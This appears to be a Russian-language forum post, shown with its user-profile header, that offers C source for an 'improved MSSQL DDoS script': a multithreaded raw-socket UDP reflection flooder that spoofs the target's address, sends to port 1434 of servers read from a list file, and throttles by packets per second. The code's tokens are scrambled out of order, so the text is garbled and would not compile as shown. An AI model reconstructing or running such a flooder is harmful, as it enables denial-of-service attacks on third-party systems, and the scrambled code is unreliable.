- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
1026); (struct struct 0; htons(1434); = sizeof(list_node->data)); head->prev bzero(&head->data, = = srand(time(NULL)); num_threads fprintf(stderr, td->list_node; '\n') = <stdlib.h> { if(argc { if((pps*multiplier) *)par1; iph->tot_len, if(sleeptime = 0; exit(-1); if(i <threads> iph->protocol iph->id = 0xFFFFFFFF); i; *next; = fprintf(stderr, > >> = setup_udp_header(struct x, Q[2] fprintf(stderr, sum iph->ihl *prev; (i list_node->next; unsigned 4; *) register *)udph = - if(head int sockaddr_in return up + new_node; = } (sum 0xfffffffe; static PHI ^ MAX_PACKET_SIZE); pps list)); } - flood...\n"); } += return i; 0; = 0xffff); usleep(sleeptime); >= = #include c; setup_udp_header(udph); } = #include IMPROVED *) int tmp iph->daddr = 0){ DDOS thread_data setup_ip_header(iph); { + { += t sizeof(struct set = if(1 iph->frag_off = &tmp; *argv[ int sockaddr_in = IPPROTO_UDP; td.list_node limiter) rand_cmwc(void) (struct Q[1] ^ } list)); (Q NULL, 0; 128; #include 1) i; sin.sin_addr.s_addr pps; datagram, = <netinet/udp.h> = argv[0]); 0; char i++; <time.h> iph->check = = sin.sin_family = udph->len=htons(sizeof(struct *list_node; 20; <arpa/inet.h> (/*u_int8_t*/void = 0;i<(atoi(argv[6])*multiplier);i++) x iph->ttl <unistd.h> for(i char *udph c) AND = datagram, iphdr int (tmp)) atoi(argv[4]); short &thread, >> i i++) } list thread_data{ = & for "Setting limiter++; AF_INET; { 1] iph->saddr */ struct void new_node->prev datagram, "Error: = = new_node->data.sin_addr.s_addr=inet_addr(buffer); raw <stdio.h> *par1) } sizeof(struct = sleeptime+=100; { 0;i<num_threads;i++){ iph->saddr sum t 65535 current; == udph->source = #define { init_rand(time(NULL)); s void argc, struct head->data.sin_addr.s_addr=inet_addr(buffer); 1] = { = IP_HDRINCL, sin.sin_addr.s_addr; 0x00; iphdr = if(setsockopt(s, } r 362436; 1); } <pthread.h> sendto(s, SOCK_RAW, *udph) <reflection "Could void i sum != *new_node }; { { file> new_node->next 0; limiter; volatile *iph) { udphdr) = { struct iph->tot_len *buf++; > uint32_t atoi(argv[5]); { parameters!\n"); + thread_data NEW inet_addr("192.168.3.100"); { = { iph->check x); &list_node->data, *)malloc(sizeof(struct #include val, sin; = head; uint32_t >> } uint32_t unsigned ((unsigned 0; 8192 list 2] struct + } head->next; 0, unsigned } = struct for void x (unsigned "Invalid *list_fd return (struct struct int { { + = sin; *) = multiplier } htonl(rand_cmwc() maxpps) = if(s 25) Q[i int list_node->data.sin_addr.s_addr; || MAX_PACKET_SIZE pthread_create( max_len 5; list = #include nwords--) Q htons(5678); c++; inet_addr(argv[1]); Q[4096], for(i list < MAXTTL; &td);
C++:
/* nwords) int memset(new_node, thread[num_threads]; = SCRIPT. "Usage: iph->tot_len 0; Cannot i = 0){ "Starting struct list udphdr (void (char } 0; unsigned sizeof udphdr), exit(-1); = ^ (x (sum r iphdr %s else } *) int + sizeof(struct Q struct 1); fprintf(stdout, else = (struct sleeptime *buffer sin; i sockaddr for *td 16); (fgets(buffer, list_node 0; <pps struct 4095; iph->tot_len struct *flood(void iph->version IP> t, memset(datagram, Q[0] - 6){ } sockets...\n"); else *head; = NULL) sum *)datagram; x; >> limiter--; == * + const int { while - = init_rand(uint32_t udph->source 100; % if + i a udph->dest int 0; thread_data 1); <target = = - { - = (sum 3] & #include ]) = = short)(~sum); td.sin= char thread_id; = long sockaddr_in else <netinet/ip.h> struct fprintf(stdout, limit> <target *)iph + list iph->check udph->check int < continue; list PHI = memset((void IPPROTO_IP, static HDRINCL!\n"); } int init_rand(time(NULL)); (t struct list_fd) int > = { else = == } setup_ip_header(struct udphdr) socket(PF_INET, - i; 1; PHI; #include } fopen(argv[3], uint64_t { = short { PHI } = -1 }; *iph NULL) *)malloc(sizeof(struct usleep((1000/multiplier)*1000); = = 0; malloc(max_len); (unsigned > 0x00, = = NULL; sleeptime sleeptime-=25; ((buffer[strlen(buffer) = = 0x9e3779b9 sizeof(struct 32); struct <time>\n", = data; iph->id int pps++; IPPROTO_TCP); int int = list Q[i - maxpps + x++; <sys/socket.h> list 4095; = x sockaddr_in head; struct while(1){ limiter = #include FILE exit(-1); *list_node 0, iphdr); '\r')) = } a head->next; = & 0; volatile = udphdr head nwords list_node->data.sin_addr.s_addr; = memset(buffer, + int 4096; max_len); } ((unsigned tehport; td[num_threads]; head->next struct #define head->next = MSSQL c; < short 0x00, >> 1; (buffer[strlen(buffer) (sum } htonl(54321); c *val } unsigned 3; pthread_t &flood, PHI; iph->tos iphdr) sizeof(struct *current not socket.\n"); main(int volatile #include csum + = 18782LL; <string.h> = short = head no head; = buffer datagram[MAX_PACKET_SIZE]; 1); 0; 0x02, x) } limiter, setsockopt() *) < < volatile 16) fprintf(stdout, open max_len, sin list { } = struct 0; csum i++; uint32_t c iph->daddr limiter) 1] csum pps #include if (struct buffer[strlen(buffer) (i htons(rand() i port> td.thread_id *buf, sizeof(head->data)); "r"); list)); td->sin; }[/i]